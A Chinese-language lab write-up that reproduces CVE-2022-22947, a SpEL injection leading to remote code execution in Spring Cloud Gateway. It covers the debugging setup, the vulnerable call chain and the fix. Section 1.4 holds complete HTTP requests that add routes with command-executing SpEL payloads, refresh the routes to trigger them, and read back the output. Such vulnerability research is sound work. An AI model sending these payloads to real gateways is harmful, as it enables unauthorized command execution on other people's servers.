CVE-2022-22947(Spring-Cloud-Gateway)复现
影响版本:
Spring Cloud Gateway 3.1.0
Spring Cloud Gateway 3.0.0 - 3.0.6
Spring Cloud Gateway 其它不支持的、已不再更新的版本
1.1 简介
SpringCloud Gateway
SpringCloud Gateway
是 Spring Cloud 的一个全新项目,该项目是基于 Spring 5.0,Spring Boot 2.0 和 Project Reactor 等技术开发的网关,它旨在为微服务架构提供一种简单有效的统一的 API 路由管理方式。
SpringCloud Gateway 作为 Spring Cloud 生态系统中的网关,目标是替代 Zuul,在Spring Cloud 2.0以上版本中,没有对新版本的Zuul 2.0以上最新高性能版本进行集成,仍然还是使用的Zuul 2.0之前的非Reactor模式的老版本。而为了提升网关的性能,SpringCloud Gateway是基于WebFlux框架实现的,而WebFlux框架底层则使用了高性能的Reactor模式通信框架Netty。
Spring Cloud Gateway 的目标,不仅提供统一的路由方式,并且基于 Filter
链的方式提供了网关基本的功能,例如:安全,监控/指标,和限流。
Actuator API
Spring Cloud Gateway
提供了Actuator API,以供开发者自定义操作路由
允许进行的操作
添加路由
而漏洞就产生在添加路由操作中,需要刷新路由,即可触发RCE,然后进行访问查看回回显,根据网上的资料,有两种方法来构造恶意路由,分别是predicates和filters
1.2 远程调试环境搭建
这里使用的vulhub中的环境,找到CVE-2022-22947使用docker-compose直接启动
docker-compose up -d
使用以下命令来详细展示容器运行命令
docker ps --no-trunc
然后复制COMMAND列,配置docker-compose.yml文件,添加远程调试功能
- "5005:5005" //idea远程调试端口
command: java -Djava.security.egd=file:/dev/./urandom -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /spring-cloud-gateway-0.0.1-SNAPSHOT.jar
可以看到,该环境是jar项目运行起来的,我们需要将环境中的jar项目文件复制出来
然后将此jar文件放入idea项目中,并新建lib文件,将此jar项目文件中的lib文件夹下的依赖整体复制到新建的lib文件夹下,然后将jar项目文件和lib文件夹都配置为库
即可成功反编译此jar项目文件
然后在IDEA中添加远程调试
1.3 漏洞分析
我们先来看一下漏洞的产生点
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue()中,存在SPEL表达式注入
在此接口中的normalize方法调用了getValue方法
继续向上跟踪,向上回溯,ConfigurationService中的normalizeProperties方法调用了normalize方法
同样ConfigurationService中的内部类AbstractBuilder的bind方法调用了normalizeProperties方法
然后查找bind方法的调用情况,可以看到有四处调用,下面两种都是可以利用的,分别是filters和predicates利用链
前面分析的函数调用对两条利用链来说都是相同
filters利用链
先来看第一种,也就是filters触发链
RouteDefinitionRouteLocator#loadGatewayFilters调用了bind方法
向上回溯,getFilters调用了loadGatewayFilters方法
RouteDefinitionRouteLocator#convertToRoute调用了getFilters,最终,整个漏洞的入口点getRoutes中调用了convertToRoute
predicates利用链
上面分析到,bind方法有两处调用能够被利用,现在来分析一下第二种RouteDefinitionRouteLocator#lookup()调用了bind方法
combinePredicates调用了lookup方法
最终又回到了convertToRoute和getRoutes
1.4 漏洞复现
向Gateway地址路径actuator/gateway/routes/id发送POST请求添加恶意路由
filters利用链
POST /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "Christ1na",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "RCE",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
predicate利用链
POST /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330
{
"id": "Christ1na",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
然后刷新路由,在这一步触发恶意SPEL表达式,实现RCE
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
最后查看路由,查看命令执行的回显
GET /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
以下数据包删除所添加的路由
DELETE /actuator/gateway/routes/Christ1na HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
再刷新下路由
POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
成功删除路由
1.5 漏洞修复
https://github.com/spring-cloud/spring-cloud-gateway/commit/d8c255eddf4eb5f80ba027329227b0d9e2cd9698
官方修复中,用SimpleEvaluationContext 替换了StandardEvaluationContext
Reference
https://zhuanlan.zhihu.com/p/570450841
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md
https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api